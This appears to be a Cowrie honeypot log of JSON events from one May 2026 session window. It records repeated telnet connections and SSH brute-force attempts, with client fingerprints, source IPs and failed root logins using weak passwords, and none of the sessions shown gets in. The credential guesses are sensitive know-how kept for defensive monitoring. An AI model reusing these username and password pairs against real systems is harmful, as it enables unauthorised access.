{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34716,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c562db490dc","protocol":"telnet","message":"New connection: 192.119.13.58:34716 (10.17.0.5:23) [session: 4c562db490dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:50.108488Z"}
{"eventid":"cowrie.session.closed","duration":0.005702495574951172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:50.114058Z","src_ip":"192.119.13.58","session":"4c562db490dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.637047290802,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:56.685987Z","src_ip":"192.119.13.58","session":"3678cada9f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59673,"dst_ip":"159.203.135.109","dst_port":22,"session":"e072222c0615","protocol":"ssh","message":"New connection: 167.172.81.52:59673 (159.203.135.109:22) [session: e072222c0615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:02.778182Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:02.789008Z","src_ip":"167.172.81.52","session":"e072222c0615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:02.802654Z","src_ip":"167.172.81.52","session":"e072222c0615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.726744413375854,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:03.513153Z","src_ip":"192.119.13.58","session":"37a290c45daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34144,"dst_ip":"159.203.135.109","dst_port":22,"session":"4da7b8e716a6","protocol":"ssh","message":"New connection: 103.173.227.57:34144 (159.203.135.109:22) [session: 4da7b8e716a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:04.656626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:04.664814Z","src_ip":"103.173.227.57","session":"4da7b8e716a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:04.907006Z","src_ip":"103.173.227.57","session":"4da7b8e716a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111aa","message":"login attempt [root/111111aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:05.631274Z","src_ip":"103.173.227.57","session":"4da7b8e716a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:06.875804Z","src_ip":"103.173.227.57","session":"4da7b8e716a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35734,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1c51eae56c","protocol":"telnet","message":"New connection: 192.119.13.58:35734 (10.17.0.5:23) [session: ed1c51eae56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:11.775536Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"19b1e8fb464f","protocol":"telnet","message":"New connection: 192.119.13.58:54454 (10.17.0.5:23) [session: 19b1e8fb464f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:16.459912Z"}
{"eventid":"cowrie.session.closed","duration":40.14822340011597,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:18.249873Z","src_ip":"192.119.13.58","session":"88321eddbdda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"613b986de53d","protocol":"telnet","message":"New connection: 192.119.13.58:42710 (10.17.0.5:23) [session: 613b986de53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:20.629945Z"}
{"eventid":"cowrie.session.closed","duration":38.45283031463623,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:22.391344Z","src_ip":"192.119.13.58","session":"4db9ba8cc4d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.87033224105835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:26.980870Z","src_ip":"192.119.13.58","session":"436009709ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.629127979278564,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:27.948685Z","src_ip":"192.119.13.58","session":"b5513b399b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24409556388855,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:29.032009Z","src_ip":"192.119.13.58","session":"cc46925ca70e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.20253396034241,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:29.087435Z","src_ip":"192.119.13.58","session":"6324aa0ffd05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.999521017074585,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:31.957891Z","src_ip":"192.119.13.58","session":"e46a1288636b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e4ed7395880","protocol":"telnet","message":"New connection: 192.119.13.58:42346 (10.17.0.5:23) [session: 3e4ed7395880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:34.909708Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47596,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ec23968d8b","protocol":"ssh","message":"New connection: 109.172.54.111:47596 (10.17.0.5:22) [session: 62ec23968d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:41.611577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:41.631416Z","src_ip":"109.172.54.111","session":"62ec23968d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:41.728852Z","src_ip":"109.172.54.111","session":"62ec23968d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazws","message":"login attempt [root/qazws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:42.189631Z","src_ip":"109.172.54.111","session":"62ec23968d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:43.319779Z","src_ip":"109.172.54.111","session":"62ec23968d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.444701194763184,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:59.220113Z","src_ip":"192.119.13.58","session":"ed1c51eae56c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.27875471115112,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:15:59.738545Z","src_ip":"192.119.13.58","session":"19b1e8fb464f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36712,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad15040f2a8","protocol":"telnet","message":"New connection: 192.119.13.58:36712 (10.17.0.5:23) [session: aad15040f2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:01.236246Z"}
{"eventid":"cowrie.session.closed","duration":45.355597257614136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:05.985417Z","src_ip":"192.119.13.58","session":"613b986de53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c960727ba6","protocol":"telnet","message":"New connection: 192.119.13.58:42142 (10.17.0.5:23) [session: 15c960727ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:09.390946Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43786,"dst_ip":"10.17.0.5","dst_port":23,"session":"482dcb6c1e1a","protocol":"telnet","message":"New connection: 192.119.13.58:43786 (10.17.0.5:23) [session: 482dcb6c1e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:16.666421Z"}
{"eventid":"cowrie.session.closed","duration":46.85588884353638,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:21.765459Z","src_ip":"192.119.13.58","session":"3e4ed7395880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35848,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f314b89b94","protocol":"telnet","message":"New connection: 192.119.13.58:35848 (10.17.0.5:23) [session: f0f314b89b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:28.836279Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50688,"dst_ip":"10.17.0.5","dst_port":23,"session":"20241a64db70","protocol":"telnet","message":"New connection: 192.119.13.58:50688 (10.17.0.5:23) [session: 20241a64db70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:32.467928Z"}
{"eventid":"cowrie.session.closed","duration":5.199858903884888,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:34.035975Z","src_ip":"192.119.13.58","session":"f0f314b89b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.592341899871826,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:34.828401Z","src_ip":"192.119.13.58","session":"aad15040f2a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51280,"dst_ip":"10.17.0.5","dst_port":23,"session":"24136a2ca261","protocol":"telnet","message":"New connection: 192.119.13.58:51280 (10.17.0.5:23) [session: 24136a2ca261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:39.643478Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35518,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a3f61d08a9","protocol":"telnet","message":"New connection: 192.119.13.58:35518 (10.17.0.5:23) [session: 10a3f61d08a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:50.239136Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35536,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7fe1ab02ade","protocol":"telnet","message":"New connection: 192.119.13.58:35536 (10.17.0.5:23) [session: a7fe1ab02ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:50.244232Z"}
{"eventid":"cowrie.session.closed","duration":45.72505760192871,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:55.115892Z","src_ip":"192.119.13.58","session":"15c960727ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44438,"dst_ip":"10.17.0.5","dst_port":22,"session":"a37683b65452","protocol":"ssh","message":"New connection: 80.94.92.184:44438 (10.17.0.5:22) [session: a37683b65452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:55.790001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:55.856201Z","src_ip":"80.94.92.184","session":"a37683b65452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:55.991355Z","src_ip":"80.94.92.184","session":"a37683b65452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.69608783721924,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:57.362403Z","src_ip":"192.119.13.58","session":"482dcb6c1e1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:57.488777Z","src_ip":"80.94.92.184","session":"a37683b65452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:16:58.729837Z","src_ip":"80.94.92.184","session":"a37683b65452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55186,"dst_ip":"10.17.0.5","dst_port":23,"session":"822f92f31dfe","protocol":"telnet","message":"New connection: 192.119.13.58:55186 (10.17.0.5:23) [session: 822f92f31dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:02.421622Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36798,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67c958a8ddf","protocol":"ssh","message":"New connection: 109.237.96.109:36798 (159.203.135.109:22) [session: e67c958a8ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:03.564457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:03.570147Z","src_ip":"109.237.96.109","session":"e67c958a8ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:03.661444Z","src_ip":"109.237.96.109","session":"e67c958a8ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111qqq","message":"login attempt [root/111qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:03.933008Z","src_ip":"109.237.96.109","session":"e67c958a8ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58744,"dst_ip":"10.17.0.5","dst_port":23,"session":"518a68512cb9","protocol":"telnet","message":"New connection: 192.119.13.58:58744 (10.17.0.5:23) [session: 518a68512cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:04.433739Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:05.025216Z","src_ip":"109.237.96.109","session":"e67c958a8ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45118,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ac2b0634ab","protocol":"telnet","message":"New connection: 192.119.13.58:45118 (10.17.0.5:23) [session: 47ac2b0634ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:07.264663Z"}
{"eventid":"cowrie.session.closed","duration":0.006067037582397461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:07.270576Z","src_ip":"192.119.13.58","session":"47ac2b0634ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32943034172058,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:11.797249Z","src_ip":"192.119.13.58","session":"20241a64db70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c373248ee4","protocol":"telnet","message":"New connection: 192.119.13.58:41264 (10.17.0.5:23) [session: f9c373248ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:13.697553Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a758b807456","protocol":"telnet","message":"New connection: 192.119.13.58:33468 (10.17.0.5:23) [session: 1a758b807456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:18.689857Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9cad717725","protocol":"telnet","message":"New connection: 192.119.13.58:41110 (10.17.0.5:23) [session: 2d9cad717725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:20.607971Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41332,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bf99422020","protocol":"telnet","message":"New connection: 192.119.13.58:41332 (10.17.0.5:23) [session: a9bf99422020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:20.680656Z"}
